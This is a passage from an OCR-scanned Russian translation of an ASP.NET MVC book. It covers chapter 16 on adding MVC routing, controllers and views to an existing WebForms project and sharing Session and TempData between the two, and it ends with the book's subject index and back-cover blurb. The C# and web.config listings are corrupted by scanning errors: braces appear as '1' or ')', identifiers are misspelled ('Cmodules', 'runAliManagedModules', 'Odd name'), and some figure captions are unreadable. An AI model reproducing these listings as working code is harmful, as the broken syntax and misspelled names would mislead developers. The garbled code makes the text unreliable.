«deny users="*"/>
</authorization>
</system.web>
</location>
«/configuration>
Причина в том, что модуль UrlAuthorizationModule учитывает только такие URL, которые запрашивают посетители. Ему ничего не известно о файле ASPX, который в конечном итоге обработает запрос.
Использование технологии ASP.NET MVC в приложении WebForms
Далеко не все программные проекты начинаются с чистого листа. Если вы ранее занимались веб-разработкой в .NET, то высоки шансы, что вам придется расширять и совершенствовать какое-то существующее приложение WebForms. Вовсе не обязательно отбрасывать его и сразу переходить к разработке в стиле MVC. Такое приложение можно “модернизировать” для поддержки ASP.NET MVC, сохраняя старые страницы WebForms. После этого можно приступить к построению новых средств с использованием приемов MVC, по очереди перенося старые части приложения на платформу MVC.
Возможно, не стоит об этом напоминать, но все же не забудьте перед началом модернизации создать резервную копию исходного кода проекта!
Модернизация приложения ASP.NET
WebForms для поддержки MVC
Для начала потребуется обновить приложение, ориентировав его на версию .NET Framework 3.5. Выполните следующие шаги.
1.	Если существующее приложение ASP.NET было построено с использованием Visual Studio .NET, Visual Studio 2003 или Visual Studio 2005, то при первом его открытии в Visual Studio 2008 будет предложено обновить его для поддержки Visual Studio 2008. (Обратите внимание, что это означает невозможность в дальнейшем открывать проект в версиях, предшествующих Visual Studio 2008.) В данном случае все просто. Нужно лишь следовать указаниям мастера.
2.	В Visual Studio поддерживаются два типа проектов WebForms: веб-приложение, в котором есть папка \bin, файлы .designer .cs и файл .csproj, и веб-сайт, который лишен всего этого. Если проект представляет собой веб-приложение, то все в порядке, и можно переходить к шагу 3. Но если проект является веб-сайтом, то прежде чем двигаться дальше, он должен быть преобразован в веб-приложение. Соответствующие инструкции доступны по адресу http: //msdn.microsoft. сот/ ru-ru/library/aa983476.aspx.
3.	После открытия веб-приложения в Visual Studio 2008 удостоверьтесь, что оно ориентировано на .NET Framework 3.5. Для этого щелкните правой кнопкой мыши на имени проекта в окне Solution Explorer и выберите в контекстном меню пункт Properties (Свойства). В списке Target Framework (Целевая платформа) на вкладке Application (Приложение) должен быть выбран вариант .NET Framework 3.5, как показано на рис. 16.4.
Глава 16. Комбинация платформ MVC и WebForms 545
Application®
Build
Buil d Events
Resources
Settings
Reference Paths
Signing
Det?!
Muf.Pt
Assembly name: MyWebFormsApp
Target Frame^crfc .NET	35
.NET &втыюгк2Д .NET Framework 3.0
ji.nen- .ehb-erscn:
j S. stem Aeb Extensions.!)»
_ System.’Aeb.Mcbile
Л System, web.Services
Рис. 16.4. Переключение проекта на целевую платформу .NET Framework 3.5
После переключения проекта на платформу .NET Framework 3.5 убедитесь, что приложение по-прежнему нормально компилируется и корректно выполняется. Поддержка обратной совместимости в .NET достаточно хороша, так что проблем возникать не должно (по крайней мере, теоретически).
Затем необходимо добавить к проекту сборки ASP.NET MVC. Выполните перечисленные ниже шаги.
1. Добавьте в проект ссылки на сборки System.Web .Mvc, System.Web.Abstractions и System.Web.Routing3. Если планируется использовать Microsoft.Web.Mvc (сборку MVC Futures), добавьте ссылку и на нее.
2. В окне Solution Explorer среды Visual Studio раскройте список References (Ссылки) проекта, выделите три сборки, для которых были только что добавлены ссылки, и в панели Properties (Свойства) убедитесь, что для свойства Copy Local (Копировать локально) установлено значение True (рис. 16.5.). В результате выделенные сборки будут скопированы в папку \bin приложения при его компиляции.
Теперь можно включить и сконфигурировать систему маршрутизации. Выполните следующие шаги.
1.	Если приложение пока еще не имеет файла Global. asax, добавьте его. Для этого щелкните правой кнопкой мыши на имени проекта в окне Solution Explorer, выберите в контекстном меню пункт Add^New Item (Добавить^Новый элемент) и затем в открывшемся диалоговом окне Add New Item (Добавить новый элемент) выберите Global Application Class (Птобальный класс приложения) в качестве шаблона. Для него можно оставить имя, предлагаемое по умолчанию — Global. asax.
2.	Перейдите к классу отделенного кода в файле Global. asax (щелкнув на нем правой кнопкой мыши и выбрав в контекстном меню пункт View Code (Просмотреть код)) и добавьте показанный ниже код, чтобы сделать его таким же, как в файле Global. asax. cs из приложения ASP.NET MVC:
using System.Web.Mvc;
using System.Web.Routing;
public class Global : System.Web.HttpApplication
1
: I
Alisses	global
Fsfce
Рис. 16.5. Настройка копирования сборок MVC в папку \bin приложения
Все зти сборки можно найти на вкладке .NET окна Add Reference (Добавить ссылку).
546 Часть II. ASP.NET MVC во всех деталях
protected void Application_Start(object sender, EventArgs e) {
RegisterRoutes(RouteTable.Routes);
}
public static void RegisterRoutes(RouteCollection routes)
{
routes.IgnoreRoute("{resource}.axd/{*pathlnfо)");
routes.MapRoute(
"Default",	// Имя
"{controller}/{action}/{id}",	// URL
new { action = "Index", id = "" }	// Установки по умолчанию
) ;
)
// Остальной код не изменяется
I
Обратите внимание, что в этой конфигурации маршрутизации не определено значение по умолчанию для controller. Это удобно, когда необходимо, чтобы корневой URL (т.е. ~/) отображал страницу WebForms по умолчанию '/default, aspx (а не действие Index контроллера HomeController).
3.	Активизируйте модуль UrlRoutingModule, добавив в файл web. config узлы <httpModules> и <system.webServer>:
<configuration>
<system.web>
<httpModules>
<add name="UrlRoutingModule"
type="System.Web.Routing.UrlRoutingModule, System.Web.Routing"/>
</httpModules>
</s ys tern.web>
<!— Следующий раздел необходим для развертывания на сервере IIS 7 —>
<system.Webserver>
<validation validateIntegratedModeConfiguration="false"/>
Cmodules runAliManagedModules ForAlIRequests="true">
<remove name="UrlRoutingModule"/>
<add name=" UrlRoutingModule "
type="System.Web.Routing.UrlRoutingModule, System.Web.Routing"/>
</modules>
<handlers>
Odd name="UrlRoutingHandler" preCondition="integratedMode" verb="*" path="UrlRouting.axd" type="System.Web.HttpForbiddenHandler, System.Web"/>
</handlers>
</system.webServer>
</configuration>
Теперь имеется работающая система маршрутизации. Она не будет мешать запросам, адресованным непосредственно к существующим страницам * . aspx, поскольку по умолчанию маршрутизация отдает предпочтение файлам, реально существующим на диске. Чтобы проверить корректность функционирования системы маршрутизации, потребуется добавить как минимум один контроллер MVC. Выполните перечисленные ниже шаги.
1.	Создайте новую папку верхнего уровня под названием Controllers и добавьте в нее простой класс C# по имени HomeController:
Глава 16. Комбинация платформ MVC и WebForms 547
using System.Web.Mvc;
public class HomeController : Controller
1
public ActionResult Index()
{
return View();
}
}
2.	Если теперь перекомпилировать проект и зайти на /Ноте, новый контроллер будет вызван и попытается визуализировать представление. Поскольку представление не существует, отобразится сообщение об ошибке, показанное на рис. 16.6.
3.	Чтобы устранить ошибку, создайте еще одну папку верхнего уровня Views, а внутри нее дочернюю папку Ноте. Щелкните правой кнопкой мыши на папке Ноте, выберите в контекстном меню пункт Add^New Item (Добавить^Новый элемент) и создайте веб-форму по имени Index. aspx. (Обратите внимание, что Visual Studio пока не дает возможности создать страницу представления MVC, но это скоро будет исправлено.)
4.	Перейдите к классу отделенного кода новой веб-формы (щелкнув на ней правой кнопкой мыши и выбрав в контекстном меню пункт View Code (Просмотреть код) или нажав <F7>) и замените базовый класс System. Web. UI. Page на System. Web. Mvc.ViewPage.
5.	Вернитесь к представлению разметки Index.aspx. удалите форму серверной стороны (т.е. дескриптор <form> с атрибутом runat="server") и добавьте к представлению какое-то другое содержимое по своему выбору. Обратите внимание, что прежде чем можно будет пользоваться вспомогательными методами HTML из ASP.NET MVC (например, <%= Html.* %>), в файл web.config необходимо добавить следующий узел <namespaces>:
<system.web>
<pages>
<namespaces>
<add namespace="System.Web.Mvc" />
<add namespace="System.Web.Mvc.Ajax"/>
<add namespace="System.Web.Mvc. Html"/>
<add namespace=" System. Web. Routing" />
<add namespace="System.Linq"/>
<add namespace="System.Collections.Generic"/>
</namespaces>
</pages>
</system.web>
•' T”e view Ъчзек cr its r*aste»’ ccdd not be <bund. ’he fo’-kJA-ing locations were
it
i! Server Error in '/’ Application.
; The view 'Index' or its master could not be found.
i The following locations were searched:
i ~/Views/Home/Index.aspx
i ~/Views/Home/Index,ascx
I ~/Views/Shared/Index.aspx
~/Views/Shared/Index.ascx
Description: Ao unnaraSea excecSoo scearrM during the executxm of the current wet resuesi
Рис. 16.6. Такое сообщение об ошибке ASRNET MVC означает, что вы на верном пути
548 Часть II. ASP.NET MVC во всех деталях
Теперь можно вновь посетить /Ноте и увидеть визуализированный шаблон представления, показанный на рис. 16.7.
; L'nfSjsf Psge - Internet Exp.'ots'
http:;1-‘lc£aShosti5H4S,''Hcme
g НеПо! This is an HtrrlTextBosi j	|
Рис. 16.7. Проект WebForms теперь также является проектом MVC
Вот в основном и все! Проект WebForms должен продолжать нормально работать при посещении любой из существующих страниц . aspx (поскольку файлы на диске имеют приоритет перед маршрутизацией). Кроме того, можно также добавлять контроллеры и представления и конфигурировать маршрутизацию в точности так, как это делается в приложении ASP.NET MVC.
После модернизации проекта WebForms для поддержки MVC вы оказываетесь в той же ситуации, как если бы начали новый проект MVC и затем добавили целый набор страниц WebForms. Это означает, например, что если необходима поддержка маршрутизации для страниц WebForms (вместо использования URL, соответствующих их дисковым путям), то можно следовать советам, приведенным ранее в разделе “Добавление поддержки маршрутизации для страниц WebForms” настоящей главы.
Доступ к элементам MVC в среде Visual Studio
Между “родным” проектом веб-приложения MVC и “обновленным” проектом WebForms имеется только одно отличие. При добавлении шаблона представления через диалоговое окно Add New Item (Добавить новый элемент) среда Visual Studio не предоставит возможности выбрать MVC View Page или любой другой специфичный для MVC элемент. Точно так же после щелка правой кнопкой мыши внутри метода действия не будет возможности добавить представление. Причина в том, что среде Visual Studio просто не известно, что вы имеете дело с проектом ASP.NET MVC. Вот почему описанном выше на шаге 3 (при добавлении представления для действия Index контроллера HomeController) необходимо использовать страницу WebForms и изменять ее базовый класс вручную.
Чтобы решить данную проблему, потребуется добавить подсказку о типе проекта для Visual Studio.
Внимание! Перед тем, как двигаться дальше, создайте резервную копию файла проекта (файла с расширением . cspro j) или, по крайней мере, удостоверьтесь, что в системе управления версиями зарегистрирована последняя его копия. Дело в том, что если в этот файл будут внесены ошибки, то Visual Studio не сможет открыть его.
1.	В окне Solution Explorer щелкните правой кнопкой мыши на имени проекта и выберите в контекстном меню пункт Unload Project (Выгрузить проект).
2.	Еще раз щелкните правой кнопкой мыши па имени проекта и выберите в контекстном меню пункт Edit МойПроект.сБрго) (Редактировать МойПроект. csproj).
3.	Откроется XML-файл .csproj. Найдите узел <ProjectTypeGuids>, содержащий разделенную точками с запятой последовательность идентификаторов GUID, и добавьте в него следующее значение перед всеми существующими:
{603c0e0b-db56-lldc-be95-000d561079b0};
Глава 16. Комбинация платформ MVC и WebForms 549
Не добавляйте никаких дополнительных пробелов или переносов строки. Если не хотите вводить идентификатор GUID вручную, можете скопировать и вставить его из соответствующего раздела любого готового файла ASP.NET MVC . cspro j.
4.	Сохраните обновленный файл .csproj. Затем перезагрузите проект, щелкнув правой кнопкой мыши на его имени в окне Solution Explorer и выбрав в контекстном меню пункт Reload Project (Перезагрузить проект).
Если будет получена ошибка “This project type is not supported by this Installation" (Данный тип проекта не поддерживается этой установкой), просто щелкните на кнопке ОК и выберите снова пункт Reload Project, как было описано выше. По какой-то причине это помогает решить проблему ошибки.
После этого специфичные для MVC элементы появятся в диалоговом окне Add New Item наряду с обычными элементами WebForms. Вдобавок появится возможность выполнять щелчок правой кнопкой мыши внутри метода действия и выбирать в контекстном меню пункт Add View (Добавить представление).
Взаимодействие между страницами
WebForms и контроллерами MVC
Чтобы выполнить перенаправление со страницы WebForms на действие MVC (без жесткого кодирования URL), необходимо добавить собственный служебный метод генерации URL, например:
protected void Page_Load(object sender, EventArgs e)
{
Response.Redirect(GetRoutingUrl (new { controller = "Home", action = "Index" }).VirtualPath);
}
// Многократно используемый служебный метод (поскольку в WebForms
// отсутствует встроенный API-интерфейс маршрутизации)
public static VirtualPathData GetRoutingUrl(object values)
{
var httpContext = new HttpContextWrapper (HttpContext. Cur rent) ;
var rc = new Requestcontext(httpContext, new RouteData()) ;
return RouteTable.Routes.GetVirtualPath(rc,
new RouteValueDictionary(values));
1
Применять вспомогательные методы <%= Html. * %> на страницах WebForms нельзя, так как System.Web .UI. Page не имеет свойства типа HtmlHelper (поскольку это свойство System. Web .Mvc .ViewPage). Это нормально, потому что на странице WebForms все равно не удастся использовать, например, Html. TextBox () — вспомогательные методы HTML из MVC не работают вместе с обратными отправками.
Но если необходимо установить ссылку со страницы WebForms на действие MVC, понадобится некоторая замена методу Html. ActionLink (). Найдите в проекте подходящее место и раскройте ранее показанный метод GetRoutingUrl () как общедоступный статический метод. После этого его можно использовать на ASPX-странице WebForms:
<а href="<%= Gny:xe6HbzeMeTO,tbj.GetRoutingUrl (new { controller = "Home" }) .VirtualPath %>"> Visit the Index action on HomeController
</a>
550 Часть II. ASRNET MVC во всех деталях
Передача данных между MVC и WebForms
Обе эти технологии построены на базе одной и той же платформы ASP. NETT, так что когда они обе сочетаются в одном приложении, то разделяют одни и те же коллекции Session и Application (помимо прочих). Для разделения данных между MVC и WebForms также возможно, хотя и не просто, использовать TempData. Доступные варианты более подробно объясняются в табл. 16.1.
Таблица 16.1. Варианты разделения данных между контроллерами MVC и страницами WebForms в одном приложении
Коллекция	Использование	Доступ из контроллера MVC	Доступ co страницы WebForms
Session	Для сохранения данных на время жизни сеанса браузера индивидуального посетителя.	Session	Session
Application	Для сохранения данных на время жизни всего приложения (и совместного использования во всех сеансах браузеров).	HttpContext. Application	Application
TempData	Для сохранения данных в рамках одиночной переадресации в текущем сеансе браузера посетителя.	TempData	Объяснения даны ниже
Понятие “временных данных” появилось позже технологии ASP.NET WebForms, поэтому в WebForms не предусмотрено простого способа доступа к ним, хотя доступ к ним возможен. Для этого придется написать собственный код извлечения коллекции из лежащего в основе хранилища. В следующем примере показано, как создать альтернативный базовый класс Раде, который раскрывает коллекцию по имени TemData, загружая ее содержимое в начале запроса и сохраняя в конце:
public class TempDataAwarePage : System.Web.UI.Page
{
protected readonly TempDataDictionary TempData = new TempDataDictionary() ;
protected override void Onlnit(EventArgs e) {
base.Onlnit(e);
TempData.Load(GetDummyContext(), new SessionStateTempDataProvider());
}
protected override void OnUnload(EventArgs e) (
TempData.Save(GetDummyContext 0, new SessionStateTempDataProvider() ) ; base.OnUnload(e);
}
// Предоставить контекст, достаточный для загрузки и сохранения TempData private static Controllercontext GetDummyContext()
{
return new Controllercontext(
new HttpContextWrapper(HttpContext.Current),
new RouteData(),
_dumrnyCon.troiler Instance ) ;
}
// Просто удовлетворить требование tempData.Load () к объекту контроллера private static Controller _dummyControllerInstance = new Dummycontroller(); private class Dummycontroller : Controller { }
}
Глава 16. Комбинация платформ MVC и WebForms 551
На заметку! В приведенном выше примере кода предполагается использование поставщика по умолчанию SessionStateTempDataProvider, который хранит содержимое TempData в коллекции Session. В случае применения другого поставщика соответствующим образом скорректируйте код.
Если теперь унаследовать страницы WebForms от TempDataAwarePage вместо System.Web.UI.Раде, можно получить доступ к полю по имени TempData, которое ведет себя в точности так же, как коллекция TempData из MVC, и фактически разделяет те же самые данные. Если вы предпочитаете не менять базовый класс для страниц WebForms, то можете воспользоваться предыдущим примером кода в качестве отправной точки и создать служебный класс для ручной загрузки и сохранения TempData на странице WebForms.
Резюме
В этой главе было показано, что несмотря на то, что платформы MVC Framework и ASP.NET WebForms выглядят совершенно разными с точки зрения разработчика, лежащие в их основе технологии во многом пересекаются, поэтому они могут легко сосуществовать в рамках одного проекта .NET.
Можно начать с проекта MVC и добавлять страницы WebForms, дополнительно интегрируя их в систему маршрутизации. Или же можно начать с проекта WebForms и добавлять к нему средства MVC; вдобавок это еще и весьма жизнеспособная стратегия для переноса существующих приложений WebForms на платформу ASP.NET MVC.
Предметный указатель
А
ACL (Access Control List), 492
Ajax, 22; 407
Ajax-захват, 429
API-интерфейс
Configurationsection, 486
WebConfigurationManager, 484
ASP.NET, 21
ASP.NET MVC, 20; 489
компоненты, 489
FormsAuthentication, 493; 498
Windows Authentication, 490; 492
производительность, 527
развертывание, 462 разработка приложений MVC в Visual Studio, 202 соглашения об именовании, 206 создание нового проекта, 33
В
BDD (Behavior-Driven Design), 115
С
Castle Windsor (Виндзорский замок), 76
D
DAL (Data Access Layer), 55
DDD (Domain-Driven Design), 60
DOM (Document Object Model), 407
F
Fiddler, 446
Firebug, 447
FormsAuthentication, 191; 493; 498
G
GAC (Global Assembly Cache), 111
H
HMAC, 402; 403
HTML-разметка, 122
HTTP-сжатие, 528
deflate, 528
gzip, 528
I
IIS (Internet Information Services), 212
IoC (Inversion of Control), 52; 73
ISAPI (Internet Services API), 214
ISAPI_Rewrite, 478
J
JavaScript, 274; 408; 429
JQueiy, 418: 440: 441: 443
JSON (JavaScript Object Notation), 273: 435
L
LINQ (Language Integrated Query), 27; 83
LINQ to Everything, 94
LINQ to Objects, 90
LINQ to SQL, 65; 108
M
MonoRail, 30
MVC (Model-View-Controller), 20: 36; 52
MVC Framework, 460
MVP (Model-View-Presenter), 59
N
.NET Compilation, 487
.NET Users, 503
R
REST (Representational State Transfer), 23
Ruby on Rails, 24; 29; 58
s
Smart UI. 53
Spark, 356
SQL
внедрение кода SQL, 458
SQL Server Profiler, 530
T
TDD (Test-Driven Development), 23; 82
V
ViewState, 394
Visual Studio, 503; 523; 548
отладчик, 210
разработка приложений MVC, 202
Предметный указатель 553
W
WAT (Web Administration Tool), 503
Web Developer Toolbar, 447
WebForms, 29; 538
Windows Authentication, 490; 492
X
XVal, 385
A
Авторизация (authorization), 490
на основе URL, 512; 543
Алгоритм
HTTP-сжатия, 528
deflate, 528
gzip, 528
хеширования, 402
Антишаблон Smart UI, 53
Архитектура
REST, 23
многоуровневая, 71
“модель-представление”, 55
“модель-представление-контроллер”
(MVC), 52: 56
“модель-представление-презентатор”
(MVP), 59
трехуровневая, 55
трехъярусная, 55
Атака, 449; 455; 459
CSRF, 457
внедрением кода SQL, 458
защита
кодированием вводимых данных, 459
с использованием параметризованных запросов, 459
с помощью объектно-реляционного отображения, 460
с помощью проверки IP-адреса клиента, 454
с помощью установки флага HttpOnly для cookie-наборов, 454
межсайтовой подделкой запросов, 455
перехватом сеанса, 453
повторением, 396
предупреждение атак CSRF
с помощью противоподделочных
вспомогательных методов, 457
Аутентификация (authentication), 490
анонимная, 490
базовая, 491
встроенная, 491
дайджест-. 491
конфигурирование, 491; 496
ограничение анонимного доступа, 492
принудительная, 192
с помощью форм (Form Authentication), 191
Б
База данных
пользовательский экземпляр
(user Instance), 501
Безопасность
MVC Framework. 460
Библиотека
jQuery, 419; 439; 443
jQuetyUI, 440
script.aculo.us. 438
В
Веб-сервер IIS, 463
Верификация, 395
Виджет, 140; 148
Вывод
динамический. 38
Выражение
запроса (query expression), 91
лямбда-, 91
д
Данные
кэширование, 513
передача между MVC и WebForms, 550
получение из объектов контекста, 258
формат данных JSON. 435
чтение и запись данных в кэш, 514
Диспетчер служб
IIS, 464
IIS6. 476
3
Замыкание (closure), 90
Запрос
HTTP
подделка НТТР-запросов. 446
межсайтовая подделка запросов (CSRF), 455
Защита, 449; 456
кодированием вводимых данных, 459
с использованием параметризованных запросов, 459
с помощью объектно-реляционного отображения, 460
с помощью проверки IP-адреса клиента, 454
с помощью установки флага HttpOnly для cookie-наборов, 454
554 Предметный указатель
И
Инверсия управления (IoC), 74; ПО
Инструмент
Fiddler, 446
LINQ to SQL, 65
.NET Compilation, 487
.NET Users, 503; 507
SQL Server Profiler, 530
Web Administration Tool (WAT), 503
Интернационализация, 523 настройка, 524
Интерфейс
Configurationsection. 486
lActionFUter, 281; 286
lAuthorizationFilter, 281; 286
IController, 216; 256
IDataErrorlnfo, 47
lEnumerable, 93
lExceptionFilter, 281
lexecutionFilter, 286
ImemberRepositoiy, 75
IQueryable<T>, 92; 94
IResultFilter, 281; 286
WebConfigurationManager, 484
К
Картасайта, 518
Класс
AcceptVerbsAttribute, 301
ActionMethodSelectorAttribute, 301
ActionNameSelectorAttribute, 304
ActionResult, 38; 262; 263:264
AdminController, 74; 77
AuthorizeAttribute, 287; 288; 289
Bid, 63
Cache, 514
Contentcontroller, 232
ContcxtMocks, 311
Controller, 57; 83; 257; 266; 286
DataContext, 69; 534
DefaultControllerFactory, 216; 298; 299
FakeMemebersRepositoiy, 79
FilterAttribute, 282; 289
FilterResult, 275
GuestResponse, 47; 50
HandleErrorAttribute, 289
HomeController, 35; 36
HttpMethodConstraint, 229
HttpRequestBase, 305
HttpSessionStateBase, 305
HttpUnauthorizedResult, 38
IController, 540
IHttpHandler, 467
IHttpModule, 467
Item, 80
JsonResult, 274
MediaiypeNames, 272
MemberRepository, 74; 75
OrdersRepositoiy, 56
Page, 550
PasswordResetHelper, 73:74
ProductsController, 296
ProfileProvider, 511
RedirectResult, 38
RedirectToRouteResult, 253
Route, 248
RouteBase, 223; 298
RouteCollection, 226
SiteMap, 519
Stopwatch, 531 string, 84 Table<Mcmber>, 93 ViewDataDictionary, 267 ViewResult, 217
WatermarkController, 279 XmlSiteMapProvider. 520 добавление класса модели, 42 иерархия классов фильтров, встроенных в ASP.NET MVC, 281 контроллера. 57; 206; 258 оболочка, 268
служебный, 53
Код
SQL
внедрение, 458
встроенный (inline), 39
Коллекция
Application, 550
Session, 550
TempData, 550
Компонент Windows Authentication, 490;
492
Контейнер инверсии управления, 75 Castle Windsor (Виндзорский замок), 76
Контроллер, 53; 57; 216 наблюдающий, 59
Криптография, 403
Кэш, 514
Л
Лямбда-выражение, 91
Предметный указатель 555
М
Мастер, 385
Мастер-страница, 346
Меню навигации, 140
Метод
действия (action method), 36; 257
лямбда-, 85
расширяющий, 84
Механизм
Brail, 355
ViewState, 394
представления NHaml, 357
Модель, 41; 52
предметной области, 54; 55; 60; 99; 163
привязка модели (model binding), 45; 359
к коллекциям, 367
к массивам, 366
конфигурирование средств привязки
модели, 369
к словарю, 368
к специальным типам, 361
Модуль HTTP, 531
Мониторинг, 529
времени генерации страниц, 531
запросов базы данных LINQ to SQL, 532
О
Объект
анонимного типа, 88
инициализатор объекта, 87
Оснастка
тестовая (test fixture), 77
Отладчик Visual Studio, 210
п
Пакет HTML Agility Pack, 452
Перехват сеанса, 453
Платформа
ASP.NET, 21
недостатки, 21
ASP.NET AJAX, 21
ASP.NET MVC, 20: 60: 83: 96; 489
компоненты, 489; 490; 492; 493; 498
производительность, 527
развертывание, 462
создание нового проекта, 33
MonoRail, 30
MVC Framework, 460
Rails, 29
комбинация платформ MVC и WebForms, 536
Поисковая оптимизация (SEO), 253
Поставщик (provider), 499
ActiveDirectoryMembershipProvider, 505
MembershipProvider, 505
SqlMembershipProvider, 501; 505
SqlProfileProvider, 509
SqlRoleProvider, 507
XmlSiteMapProvider, 520 создание специального поставщика членства, 505
Права доступа ограничения, 522
Представление (view), 36; 53; 57 пассивное. 59
строго типизированное, 45 частичное, 128
Презентатор (presenter), 59
Привязка (binding), 464 модели, 45; 131; 359: 360
к коллекциям, 367
к массивам, 366
конфигурирование средств привязки модели, 369
к словарю, 368
к специальным типам, 361
прямой вызов, 364
Приложение
разработка приложений MVC в Visual Studio, 202
Программное обеспечение демонстрационное (demoware), 96
Производительность. 527 Пространство имен
System-Globallzation, 523
System.IO.Compression, 528
Протокол HTTP, 445
Профиль, 499: 508
анонимный. 510 конфигурирование, 509
Пул приложений, 464
Путь
корневой, 463
Р
Разработка
приложений MVC в Visual Studio, 202 управляемая поведением (BDD), 115 управляемая тестами (TDD), 23; 82; 115 Режим
ISAPI, 214
интегрированный, 214
Репозиторий, 64; 73; 100
Роли (Roles), 499; 506
556 Предметный указатель
С
Сайт
карта сайта. 518
Свойства
автоматические, 42: 87
Сеанс
перехват сеанса, 453
Сервер
IIS, 212
IIS 6, 473; 474
IIS 7, 479; 480
Сжатие
HTTP, 528
deflate, 528
gzip, 528
Система маршрутизации, 36
Соглашения об именовании, 206
Среда
Visual Studio, 503; 523; 548
доступ к элементам MVC. 548
xVal, 385
Средство аутентификации
форм Forms Authentication, 191
Страница
WebForms, 539; 543; 549
мастер, 346
Сценарий
межсайтовый (XSS), 447
т
Таблица
радужная, 497
Тестирование, 121; 124; 132; 133; 135;
137; 142; 146; 147; 149; 155; 157;
163; 167; 176; 178; 182; 189
автоматизированное, 77
входящей маршрутизации URL, 242
генерации исходящих URL, 246
контроллеров, 305
модульное, 96: 242
тестовая оснастка (test fixture), 77
тестовый дубликат, 243
Техника НМАС, 402; 403
Технология
ASP.NET MVC, Cal Платформа,
ASP.NET MVC, 544
использование в приложении WebForms, 544
передача данных между MVC и WebForms. 550 разработка приложений MVC в Visual
Studio, 202
соглашения об именовании, 206
Ruby on Rails, 58
WebForms, См. Платформа, WebForms, 536
использование в приложении MVC, 536
передача данных между MVC и WebFbrms, 550
Тип
выведение типа (type inference), 88
Трассировка, 529
У
Уровень доступа к данным (DAL), 55
Учетная запись пользователя, 498
Ф
Файл
*.ascx, 206
*.aspx, 206
.resx, 526
web. config, 495
ресурсов, 526
Фильтры, 217; 257; 280
авторизации, 192
действий, 192
исключений, 289
обработки ошибок, 192
Форма
построение формы, 42
средство аутентификации форм Forms Authentication, 191
Формат данных JSON, 435
ч
Членство (Membership), 499
ш
Шаблон
Spark, 356
представления, 36; 314
Я
Язык
C# 3.0, 83
LINQ, 27; 83
LINQ to Objects, 90
ПРОФЕССИОНАЛАМ ОТ ПРОФЕССИОНАЛОВ
Стивен Сандерсон начал обучаться программированию, скопировав листинги исходного кода на языке BASIC из справочного руководства по микрокомпьютеру Commodore VIC-20. Именно так он вообще научился читать. Стивен родился в Шеффилде, Великобритания, получил высшее образование, изучая математику в Кембридже, и теперь проживает в Бристоле. Он работал в крупном инвестиционном банке, основал сначала небольшую компанию, а затем и компанию средних масштабов, занимавшуюся независимой поставкой программного обеспечения, перед тем, как стать независимым веб-разработчиком, консультантом и инструктором. Стивен является членом британского сообщества разработчиков приложений на платформе .NET и старается при всякой возможности участвовать в дискуссиях на актуальные темы разработки программного обеспечения в группах пользователей и свободных конференциях. Он приветствует технический прогресс во всех его формах и не преминет приобрести любую безделушку, если у нее имеются заманчиво мигающие светодиодные индикаторы.
ДЛЯ ПРОФЕССИОНАЛОВ
Уважаемый читатель!
Новая среда ASP.NET MVC Framework представляет собой самое значительное изменение в программных средствах разработки вебприложений от корпорации Microsoft после первого выпуска платформы ASP.NET в 2002 году. Она дает разработчикам больше возможностей для управления HTML-разметкой, схемой URL и обработкой запросов и ответов, способствует построению ясной архитектуры приложения, обеспечивает солидную поддержку модульного тестирования и упрощает интеграцию со сторонними программными средствами, включая библиотеки JavaScript и инструментальные средства Ajax.
Я взялся за написание этой книги потому, что возможности платформы ASP.NET MVC кажутся мне весьма привлекател ьными и многообещающими. Надеюсь, что, прочитав эту книгу, вы нс только получите основательное представление о возможностях платформы ASP.NET MVC и ее применении, но и о том, почему она была разработана так, а не иначе, а также о том, как применять положенные в ее основу принципы для улучшения собственного кода. Я никак не связан с корпорацией Microsoft, и поэтому у меня была возможность беспристрастно проанализировать достоинства и недостатки данной платформы, а также ее альтернативы и открытые инструментальные средства, которые способны ее дополнить.
Материал, изложенный в этой книге и дополненный многочисленными учебными примерами, позволит вам усвоить следующее.
♦	Эффективные средства среды MVC Framework, включая систему маршрутизации, контроллеры, действия, представления, фильтры и привязку модели.
♦	Архитектура “модель-представление-контроллер” (MVC), слабая связь, тестируемость, разработка, управляемая тестами (TDD) и соответствующие шаблоны проектирования.
♦	Расширение и специализация конвейерной обработки запросов в среде MVC Framework.
♦	Защита и развертывание приложений MVC на сервере под управлением Windows.
♦	Применение базовых компонентов платформы ASP.NET в приложении MVC.
♦	Интеграция и перенос старых приложений на новую платформу ASP.NET MVC.
В этой книге предполагается, что у вас имеется практический опыт программирования на C# и разработки веб-приложений, хотя в ней вкратце рассматривается новый синтаксис этого языка программирования и в том числе LINQ. Если вам приходилось ранее работать на традиционной платформе ASP.NET и вы знакомы с особенностями платформы WebForms, то тем лучше для вас.Желаю приятного чтения,
Стивен Сандерсон
www.williamspublishing.com
Apress®
www.apress.com
Категория: программирование
Предмет рассмотрения:
платформа ASP.NET MVC
Уровень: для пользователей средней и высокой квалификации